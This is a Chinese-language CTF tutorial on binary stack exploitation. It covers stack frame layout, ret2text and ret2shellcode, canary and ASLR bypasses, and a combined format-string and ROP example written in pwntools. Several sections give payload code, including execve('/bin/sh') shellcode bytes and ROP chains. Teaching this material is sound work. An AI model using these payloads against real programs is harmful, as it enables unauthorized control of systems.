崲峰1. 从零理解Pwn与栈利用的本质
第一次接触Pwn这个术语时，很多人会感到困惑。它实际上源自"own"的谐音，在黑客文化中表示完全掌控某个系统或程序的过程。在CTF竞赛和二进制安全研究中，Pwn特指通过逆向工程和漏洞利用技术攻破目标程序的行为。
栈利用（Stack Exploitation）是Pwn技术中最基础也最经典的攻击方式。想象一下程序运行时，栈就像一摞叠放的盘子——每次函数调用都会往栈上"叠一个新盘子"（压入栈帧），函数返回时则"拿走最上面的盘子"（弹出栈帧）。这种后进先出的结构虽然高效，但一旦操作不当就会导致"盘子摔碎"——也就是栈溢出漏洞。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 栈内存布局与关键数据结构
2.1 函数调用时的栈帧结构
当一个函数被调用时，栈上会按特定顺序保存以下关键数据（以x86架构为例）：
code复制高地址
|----------------|
| 参数n |
| ... |
| 参数1 | ← 调用者压入
|----------------|
| 返回地址 | ← 关键攻击目标
|----------------|
| 旧ebp | ← 当前栈帧开始
|----------------|
| 局部变量 |
| ... |
|----------------|
低地址
其中"返回地址"决定了函数执行完毕后程序跳转到哪里继续执行，控制这个值就能劫持程序流。在GDB中可以用x/20wx $esp查看栈内存。
2.2 寄存器与栈的交互关系
- EIP/RIP：指令指针，存储下一条要执行的指令地址
- ESP/RSP：栈指针，始终指向栈顶
- EBP/RBP：基址指针，标记当前栈帧起始位置
当执行ret指令时，处理器会做两件事：
- 将ESP指向的内存值弹出到EIP
- ESP += 4（32位架构）
这就是为什么覆盖返回地址能控制程序执行流。
3. 经典栈溢出利用技术详解
3.1 ret2text攻击实战
ret2text（return to .text）是最基础的栈溢出利用方式，核心思路是将返回地址覆盖为程序本身已有的函数地址（如system()）。
攻击步骤示例：
- 用pattern_create生成测试字符串确定溢出点
bash复制msf-pattern_create -l 200
- 用GDB观察崩溃时EIP的值
gdb复制gdb ./vulnerable
r < input.txt
info registers eip
- 计算偏移量
bash复制msf-pattern_offset -q 0x41414641
- 构建payload：
python复制padding = b"A"*offset
ret_addr = p32(0x08048420) # system()地址
payload = padding + ret_addr
关键技巧：使用
objdump -d ./binary | grep system查找目标函数地址，注意需要绕过ASLR时要用PLT表中的固定地址。
3.2 ret2shellcode高级技巧
当程序没有现成危险函数时，就需要自己注入shellcode。典型攻击流程：
- 确定栈是否可执行（检查NX位）
bash复制checksec --file=./vulnerable
- 如果栈可执行，构造payload：
python复制padding = b"A"*offset
nop_sled = b"\x90"*100 # NOP雪橇增加命中率
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xe1\xb0\x0b\xcd\x80"
) # execve("/bin/sh")
payload = padding + p32(0xffffd100) + nop_sled + shellcode
- 通过环境变量提高稳定性：
bash复制export EGG=`python -c "print '\x90'*100 + '\x31...'"`
常见问题：现代系统默认开启NX保护使栈不可执行，此时需要结合ROP技术。
4. 现代防护机制与绕过方法
4.1 对抗Stack Canary
金丝雀机制（Canary）会在栈上插入随机值，函数返回前验证其是否被修改。绕过方法包括：
- 信息泄露：通过格式化字符串漏洞读取canary值
- 逐字节爆破：针对fork型服务（如网络服务）
- 覆盖SEH链：Windows下的异常处理机制
示例泄露canary的payload：
python复制payload = b"%7$p" # 假设canary在printf的第7个参数
p.sendline(payload)
canary = int(p.recvline(), 16)
4.2 对抗ASLR
地址空间布局随机化使内存地址每次运行都变化。应对策略：
- 信息泄露：通过漏洞获取某个已知地址（如libc函数）
- 暴力破解：针对32位系统（地址空间较小）
- 使用非随机化区段：如程序的.text段
计算libc基址的典型代码：
python复制leak = u32(p.recv(4))
libc_base = leak - 0x5f4560 # 根据libc版本调整偏移
system_addr = libc_base + 0x3ada0
5. 实战案例：格式化字符串+栈溢出组合利用
某CTF题目漏洞分析：
- 先用格式化字符串泄露栈数据：
python复制payload = b"%3$p.%15$p"
p.sendline(payload)
leaked = p.recvline().split(b".")
canary = int(leaked[0], 16)
libc_start = int(leaked[1], 16) - 0x18637
- 计算关键地址：
python复制system = libc_start + 0x3ada0
binsh = libc_start + 0x15b9ab
- 构造ROP链：
python复制payload = flat(
b"A"*100,
canary,
b"B"*12,
system,
b"DUMM",
binsh
)
调试技巧：使用cyclic和gdb.attach()交互式调试：
python复制from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
p = process("./vuln")
gdb.attach(p, """
b *main+123
c
""")
6. 工具链与学习资源推荐
6.1 必备工具集合
- 反汇编：IDA Pro/Ghidra/radare2
- 动态调试：GDB with pwndbg/gef插件
- 漏洞利用：pwntools（Python库）
- 模式生成：msf-pattern_create/offset
- 二进制检查：checksec
6.2 经典学习路径
- 基础理论：
- 《Hacking: The Art of Exploitation》
- 《漏洞战争》
- 实践平台：
- pwnable.kr（入门）
- hackthebox（进阶）
- 看雪CTF题库
- 视频教程：
- LiveOverflow YouTube频道
- 清华大学《软件漏洞分析技术》公开课
我在实际漏洞挖掘中发现，理解调用约定（calling convention）能极大提升漏洞利用成功率。比如x86的cdecl约定下参数从右向左压栈，而x64的前六个参数通过寄存器传递。这些细节往往决定payload能否精确命中目标。